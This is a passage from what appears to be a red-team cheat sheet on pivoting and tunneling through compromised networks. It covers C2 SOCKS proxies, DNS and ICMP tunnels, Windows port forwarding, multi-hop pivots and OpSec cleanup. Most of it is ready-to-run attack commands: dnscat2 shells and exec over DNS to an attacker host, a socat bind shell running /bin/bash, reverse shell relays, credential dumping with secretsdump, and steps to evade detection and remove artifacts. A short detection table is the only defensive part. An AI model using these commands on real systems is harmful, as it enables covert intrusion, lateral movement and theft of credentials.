sliver > generate beacon --tcp-pivot <PIVOT_IP>:9090 --save /tmp/inner_agent.exe
# Deploy inner_agent.exe on the deeper machine
9. Other C2 & Misc Tools
9.1 Havoc C2
# Right-click agent in Havoc → Pivoting → SOCKS5 Proxy
# Or command line:
Havoc >> socks5 <SESSION_ID> 127.0.0.1 1080 start
Havoc >> socks5 <SESSION_ID> stop
9.2 Cobalt Strike
# In the Cobalt Strike beacon console
beacon> socks 1080 # start SOCKS4 proxy on port 1080
beacon> socks stop # stop
# Reverse port forward: pivot port → internal target
beacon> rportfwd 8080 192.168.1.10 80
# SOCKS5 (newer CS versions)
beacon> socks 1080 socks5 disableNoAuth myuser mypassword
9.3 rpivot — Python Reverse SOCKS4
Useful when the pivot has Python available but no ability to run compiled binaries.
# https://github.com/klsecservices/rpivot
# On attacker — start SOCKS4 server
[ATK] python3 server.py \
--proxy-port 9050 \
--server-port 9999 \
--server-ip 0.0.0.0
# On pivot — client connects back to attacker
[PIVOT] python3 client.py \
--server-ip <ATTACKER_IP> \
--server-port 9999
# Configure proxychains: socks4 127.0.0.1 9050
[ATK] proxychains4 nmap -sT -Pn 192.168.1.10
10. DNS Tunneling
In networks where only UDP/53 is permitted outbound, DNS tunneling provides a covert channel by encoding data inside DNS query labels and response records. Throughput is very low (typically under 10 KB/s) but sufficient for shell access and small file transfers.
Attacker (authoritative NS for attacker.com)
^
| DNS queries / responses (port 53)
| data encoded in labels / TXT records
|
Internal DNS Resolver --> Pivot --> Internet --> Attacker's NS
10.1 dnscat2
dnscat2 provides a full C2 channel over DNS — shell, file transfer, port forwarding.
# Prerequisite: control an authoritative NS for a domain
# Set NS record: c2.attacker.com → attacker_IP
# Step 1: Start dnscat2 server
[ATK] ruby dnscat2.rb c2.attacker.com \
--dns "host=0.0.0.0,port=53" \
--secret=<password> \
--no-cache
# Step 2: Run client on pivot
[PIVOT] ./dnscat \
--dns "server=<ATTACKER_IP>,port=53" \
--secret=<password> \
c2.attacker.com
# Step 3: Interact with the session
dnscat2> windows # list sessions
dnscat2> window -i 1 # select session
dnscat2> shell # spawn a shell
dnscat2> exec cmd.exe # Windows shell
# Port forwarding through the DNS tunnel
dnscat2> listen 127.0.0.1:8080 192.168.1.10:80
# attacker:8080 → 192.168.1.10:80 through DNS
10.2 iodine — IP over DNS TUN Adapter
iodine creates a proper TUN adapter over DNS — similar to Ligolo-ng but over DNS queries.
# Server on attacker (resolves queries for tunnel.attacker.com)
[ATK] sudo iodined -f -c -P <password> 10.0.0.1 tunnel.attacker.com
# Client on pivot
[PIVOT] sudo iodine -f -P <password> tunnel.attacker.com
# TUN adapters created on both sides
# Attacker gets 10.0.0.1, pivot gets 10.0.0.2
# Route internal traffic through the pivot's tunnel IP
[ATK] sudo ip route add 192.168.1.0/24 via 10.0.0.2
# Recommended: layer SSH on top of the iodine TUN to avoid per-query overhead
[ATK] ssh user@10.0.0.2 -D 1080 -N -f
# Then use proxychains → 127.0.0.1:1080 for all tools
11. ICMP Tunneling
When all TCP/UDP egress is blocked but ICMP (ping) is allowed, traffic can be encapsulated inside ICMP echo request/reply packets. Detectable by payload size anomalies but effective in locked-down environments.
11.1 ptunnel-ng
ptunnel-ng encapsulates TCP traffic inside ICMP. You first get SSH working over ICMP, then layer a SOCKS proxy on top.
# https://github.com/lnslbrty/ptunnel-ng
# Server on pivot (receives ICMP and converts to TCP toward target)
[PIVOT] sudo ptunnel-ng -r<PIVOT_IP> -R22
# Client on attacker — create a local TCP port forwarded via ICMP to pivot
[ATK] sudo ptunnel-ng -p<PIVOT_IP> -l2222 -r<PIVOT_IP> -R22
# -p = ICMP peer (pivot IP)
# -l = local TCP listen port
# -r = relay destination IP
# -R = relay destination port (22 = SSH)
# SSH over the ICMP tunnel
[ATK] ssh -p 2222 user@127.0.0.1
# Layer SOCKS on top of the SSH-over-ICMP tunnel
[ATK] ssh -D 1080 -p 2222 user@127.0.0.1 -N -f
# proxychains → 127.0.0.1:1080 → SSH → ICMP → pivot → internal network
11.2 Hans — ICMP TUN Adapter
Hans creates a full TUN adapter over ICMP (similar to iodine but for ICMP).
# Server on attacker
[ATK] sudo hans -s 10.0.0.1 -p <password>
# Client on pivot — connects to attacker via ICMP
[PIVOT] sudo hans -c <ATTACKER_IP> -p <password>
# TUN adapters created; pivot gets 10.0.0.2
# Route internal traffic through the pivot's TUN IP
[ATK] sudo ip route add 192.168.1.0/24 via 10.0.0.2
12. Windows Port Forwarding
When you are on a Windows pivot and cannot transfer binaries, Windows provides kernel-level port forwarding and a native SSH client capability.
12.1 netsh portproxy
netsh portproxy is a kernel-level TCP forwarder. Rules persist across processes and survive until explicitly removed or the system reboots. Requires administrator privileges.
-- Add a port forwarding rule (IPv4 to IPv4)
netsh interface portproxy add v4tov4 ^
listenaddress=0.0.0.0 listenport=8445 ^
connectaddress=192.168.1.10 connectport=445
-- Forward RDP
netsh interface portproxy add v4tov4 ^
listenaddress=0.0.0.0 listenport=13389 ^
connectaddress=192.168.1.10 connectport=3389
-- Forward WinRM
netsh interface portproxy add v4tov4 ^
listenaddress=0.0.0.0 listenport=15985 ^
connectaddress=192.168.1.10 connectport=5985
-- Allow the listen port through Windows Firewall
netsh advfirewall firewall add rule ^
name="pivot-smb" protocol=TCP dir=in localport=8445 action=allow
-- List all portproxy rules
netsh interface portproxy show all
-- Remove a specific rule
netsh interface portproxy delete v4tov4 ^
listenaddress=0.0.0.0 listenport=8445
-- Remove ALL portproxy rules (full cleanup)
netsh interface portproxy reset
-- Remove the firewall rule
netsh advfirewall firewall delete rule name="pivot-smb"
-- Registry artifact (for awareness and forensic cleanup):
-- HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp
12.2 plink.exe (PuTTY Link — Windows SSH Client)
plink.exe is PuTTY's command-line SSH client — useful on Windows pivots that lack an SSH client.
-- Accept server host key (non-interactive — required on first connection)
echo y | plink.exe -ssh user@<ATTACKER_IP> -pw Password123 exit
-- Dynamic SOCKS5 proxy from Windows pivot to attacker
plink.exe -ssh user@<ATTACKER_IP> -pw Password123 -D 1080 -N
-- Local port forward (pivot forwards to internal target)
plink.exe -ssh user@<ATTACKER_IP> -pw Password123 ^
-L 8445:192.168.1.10:445 -N
-- Reverse tunnel (expose pivot's localhost:22 on attacker:2222)
plink.exe -ssh user@<ATTACKER_IP> -pw Password123 ^
-R 2222:127.0.0.1:22 -N
-- With SSH key (PPK format — convert with puttygen if needed)
plink.exe -ssh -i key.ppk user@<ATTACKER_IP> -D 1080 -N
13. Double & Triple Pivot
13.1 Network Topology
Attacker (Kali)
|
| direct access to DMZ
v
PIVOT1 / WEB01 10.10.10.5 | 192.168.1.5 (dual-homed)
|
| only reachable via PIVOT1
v
PIVOT2 / WS01 192.168.1.30 | 172.16.5.50 (dual-homed)
|
| only reachable via PIVOT2
v
TARGET 172.16.5.10
13.2 Double Pivot — Ligolo-ng (Recommended)
Ligolo-ng handles multi-hop cleanly. Once HOP 1 is in place and a route exists, PIVOT2 can reach the attacker directly to establish its own tunnel session.
# ─── HOP 1: PIVOT1 → internal LAN 192.168.1.0/24 ───
[ATK] sudo ip tuntap add user $USER mode tun ligolo
[ATK] sudo ip link set ligolo up
[ATK] ./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
[PIVOT1] ./ligolo-agent -connect <ATTACKER_IP>:11601 -ignore-cert
# ligolo-ng console:
ligolo-ng >> session # select PIVOT1
ligolo-ng >> start
[ATK] sudo ip route add 192.168.1.0/24 dev ligolo
# ─── HOP 2: PIVOT2 → restricted segment 172.16.5.0/24 ───
# PIVOT2 at 192.168.1.30 can now reach attacker via the 192.168.1.0/24 ligolo route
[PIVOT2] ./agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
# A second session appears in ligolo-ng console
ligolo-ng >> session # select PIVOT2 session
ligolo-ng >> start
[ATK] sudo ip route add 172.16.5.0/24 dev ligolo
# Attacker reaches 172.16.5.0/24 directly — no proxychains, full tool support
[ATK] nmap -sS -sV 172.16.5.10
[ATK] secretsdump.py lab.local/admin:Pass123!@172.16.5.10
[ATK] evil-winrm -i 172.16.5.10 -u admin -p 'Pass123!'
13.3 Double Pivot — Chisel Chain
More complex setup because PIVOT2 cannot reach the attacker directly before the relay is built.
Attacker (chisel server, SOCKS:1080)
^
| PIVOT1 reverse-connects (SOCKS:1080 covers 192.168.1.0/24)
PIVOT1 (chisel client + local chisel server on :8888)
^
| PIVOT2 forward-connects to PIVOT1:8888
PIVOT2 (chisel client — SOCKS on PIVOT2's localhost:1080)
|
v
172.16.5.0/24
# ── HOP 1: PIVOT1 reverse-connects to attacker ──
[ATK] ./chisel server --port 8080 --reverse --socks5
[PIVOT1] ./chisel client <ATTACKER_IP>:8080 R:1080:socks
# SOCKS at attacker:127.0.0.1:1080 → 192.168.1.0/24 via PIVOT1
# ── HOP 2: PIVOT2 forward-connects to PIVOT1 ──
# PIVOT1 runs a local chisel server
[PIVOT1] ./chisel server --port 8888 --socks5
# Relay PIVOT1:8888 back to attacker so attacker can reach PIVOT2's SOCKS
[PIVOT1] ./chisel client <ATTACKER_IP>:8080 R:8888:127.0.0.1:8888
# PIVOT2 connects to PIVOT1:8888 and creates SOCKS
[PIVOT2] ./chisel client 192.168.1.5:8888 socks
# PIVOT2's local SOCKS is now at PIVOT2's 127.0.0.1:1080
# Relay PIVOT2's SOCKS to attacker through the existing tunnel
# (This is already done via R:8888 — attacker reaches PIVOT2's socks through PIVOT1:8888)
# Result: attacker:127.0.0.1:8888 (after R:8888 forward) proxies through PIVOT2
# Two-hop proxychains config:
[ProxyList]
socks5 127.0.0.1 1080 # hop 1 — 192.168.1.0/24 via PIVOT1
socks5 127.0.0.1 1081 # hop 2 — 172.16.5.0/24 via PIVOT2
13.4 Triple Pivot — SSH ProxyJump
# Three hops in one SSH command
ssh -J user@HOP1,user@HOP2 user@FINAL_TARGET
# Dynamic SOCKS through three hops
ssh -J user@HOP1,user@HOP2 user@HOP3 -D 1080 -N -f
# Local port forward through three hops
ssh -J user@HOP1,user@HOP2 -L 8445:172.16.5.10:445 user@HOP3 -N -f
14. Detection & OpSec
14.1 Detection Indicators by Technique
| Technique | Detection Signal | Artifact Location |
|---|---|---|
| SSH SOCKS (-D) | Single SSH stream carrying high-bandwidth multiplexed data | NetFlow, SSH daemon logs |
| SSH remote forward (-R) | sshd binds a non-standard port on the pivot | sshd logs; ss -tlnp on pivot |
| Chisel over HTTP | WebSocket upgrade over HTTP; JA3 TLS fingerprint mismatch | Proxy logs, Zeek, IDS |
| Ligolo-ng agent | TUN interface created; new kernel routes added | Sysmon EID 11; ip link show |
| DNS tunneling | DNS labels > 63 chars; high query volume; consistent timing | DNS server logs, IDS rules |
| ICMP tunneling | ICMP echo payload > 64 bytes; uniform intervals | Firewall/IDS logs, Wireshark |
| netsh portproxy | Registry key written to PortProxy\v4tov4; persists on reboot |
Sysmon EID 13; reg query |
| socat relay | Unusual process binding a port; socat in process list |
Sysmon EID 3; ps aux |
| Meterpreter SOCKS | ruby process with high-volume outbound connections |
Sysmon EID 3; AV telemetry |
14.2 OpSec Hardening
# 1. Use high-trust ports — 80, 443, 53 blend into normal egress
[ATK] ./chisel server --port 443 --reverse --socks5
# 2. Encrypt all tunnel traffic
[ATK] ./chisel server --port 443 --reverse --socks5 --tls-domain yourdomain.com
# 3. Authenticate your Chisel server — prevents others from using it
[ATK] ./chisel server --port 443 --reverse --socks5 --auth user:password
[PIVOT] ./chisel client --auth user:password <ATTACKER_IP>:443 R:socks
# 4. Bind SOCKS to localhost — never 0.0.0.0 (prevents pivot-to-pivot SOCKS exposure)
# SSH: use -D 127.0.0.1:1080 explicitly (default is already localhost)
# Chisel: default reverse SOCKS binds to 127.0.0.1 — correct
# 5. Prefer Ligolo-ng where possible
# - No open SOCKS port on attacker to detect
# - Agent traffic profile matches C2 (same port, same TLS)
# - Routes exist only at OS level, not visible as a listening port
# 6. Clean up immediately after completing each objective
# Linux pivot cleanup
[PIVOT] rm -f ./chisel ./ligolo-agent ./socat_static
[PIVOT] pkill socat
[PIVOT] pkill chisel
# Windows pivot cleanup
[PIVOT-Win] del /f chisel.exe agent.exe
[PIVOT-Win] netsh interface portproxy reset
[PIVOT-Win] netsh advfirewall firewall delete rule name="pivot-smb"
# Meterpreter cleanup
meterpreter > portfwd flush
# Sliver cleanup
[session] sliver > portfwd rm <ID>
[session] sliver > socks5 stop <ID>
# Ligolo-ng attacker cleanup
[ATK] sudo ip route del 192.168.1.0/24 dev ligolo
[ATK] sudo ip route del 172.16.5.0/24 dev ligolo
[ATK] sudo ip link del ligolo
# 7. Short-lived pivots — set up, use immediately, tear down
# Long-running SOCKS proxies increase detection dwell time
15. Tool Selection & Quick Reference
15.1 Decision Tree
Is SSH available and permitted from/to pivot?
├── YES → SSH -D 1080 (SOCKS) or -L (port forward)
│ sshuttle if you need transparent routing + DNS
└── NO →
Do you need full routing (nmap SYN, RDP, browser, UDP)?
├── YES → Ligolo-ng (transparent TUN; best overall)
└── NO →
Is pivot behind a firewall (outbound connections only)?
├── YES → Chisel reverse SOCKS
│ rpivot if only Python is available
└── NO → Chisel forward SOCKS
socat if only one or two ports needed
Is all TCP/UDP blocked outbound?
├── DNS egress allowed → dnscat2 (C2 + port fwd) or iodine (TUN)
└── ICMP egress allowed → ptunnel-ng (then SSH over it) or Hans
Do you already have a C2 session?
├── Meterpreter → autoroute + socks_proxy (no extra binaries)
├── Sliver → socks5 start
├── Cobalt Strike→ socks 1080
└── Havoc → Pivoting → SOCKS5 Proxy
Windows pivot, cannot transfer binaries?
├── Single port forward → netsh portproxy
├── SSH client needed → plink.exe
└── SOCKS needed → Chisel.exe (single binary, safe transfer)
15.2 One-Line Quick Reference
# SSH — Dynamic SOCKS
ssh -D 1080 user@<PIVOT> -N -f
# SSH — Local port forward
ssh -L <LPORT>:<TARGET>:<TPORT> user@<PIVOT> -N -f
# SSH — Remote port forward (serve payload to internal)
ssh -R 8080:127.0.0.1:80 user@<PIVOT> -N -f
# SSH — Dynamic SOCKS through jump host
ssh -J user@<PIVOT> user@<HOP2> -D 1080 -N -f
# sshuttle — transparent subnet routing
sshuttle -r user@<PIVOT> <INTERNAL_SUBNET>/24 --dns
# socat — TCP relay (on pivot)
socat TCP-LISTEN:<LPORT>,fork TCP:<TARGET>:<TPORT> &
# socat — UDP relay (on pivot)
socat UDP-LISTEN:<LPORT>,fork UDP:<TARGET>:<TPORT> &
# socat — reverse shell relay (on pivot)
socat TCP-LISTEN:4444,fork TCP:<ATTACKER>:4444 &
# socat — bind shell with TTY (on target)
socat TCP-LISTEN:5555,fork EXEC:/bin/bash,pty,stderr,setsid &
# socat — connect to bind shell (from attacker)
socat FILE:`tty`,raw,echo=0 TCP:<TARGET>:5555
# socat — SSL relay listener (on pivot)
socat SSL-LISTEN:8443,cert=relay.pem,verify=0,fork TCP:<TARGET>:445
# socat — file transfer receive (on attacker)
socat TCP-LISTEN:9999 FILE:received.exe,create
# Chisel — attacker server (reverse SOCKS, TLS port 443)
./chisel server --port 443 --reverse --socks5 --tls-domain d.com
# Chisel — pivot client (reverse SOCKS)
./chisel client <ATTACKER>:443 R:socks
# Chisel — pivot client (specific port forward)
./chisel client <ATTACKER>:8080 R:8445:<TARGET>:445
# Ligolo-ng — create TUN interface (attacker, one time)
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
# Ligolo-ng — start proxy (attacker)
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# Ligolo-ng — start agent (pivot)
./ligolo-agent -connect <ATTACKER>:11601 -ignore-cert
# Ligolo-ng — add internal subnet route (after tunnel start)
sudo ip route add <INTERNAL_SUBNET>/24 dev ligolo
# Ligolo-ng — listener for reverse shells
ligolo-ng >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# Ligolo-ng — full cleanup
sudo ip route del <SUBNET>/24 dev ligolo && sudo ip link del ligolo
# Sliver — SOCKS5
[session] sliver > socks5 start --host 127.0.0.1 --port 1080
# Sliver — port forward
[session] sliver > portfwd add -b 127.0.0.1:8445 --remote <TARGET>:445
# Metasploit — autoroute then SOCKS
use post/multi/manage/autoroute → set SESSION <ID> → run
use auxiliary/server/socks_proxy → set SRVPORT 1080 → run -j
# Meterpreter — port forward
meterpreter > portfwd add -l <LPORT> -p <TPORT> -r <TARGET>
# netsh — port forward (Windows pivot)
netsh interface portproxy add v4tov4 listenport=<LPORT> ^
connectaddress=<TARGET> connectport=<TPORT>
# netsh — cleanup (Windows pivot)
netsh interface portproxy reset
# plink — Dynamic SOCKS from Windows pivot
plink.exe -ssh user@<ATTACKER> -pw Password123 -D 1080 -N
# Proxychains — configure and use
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains4 <tool> <args>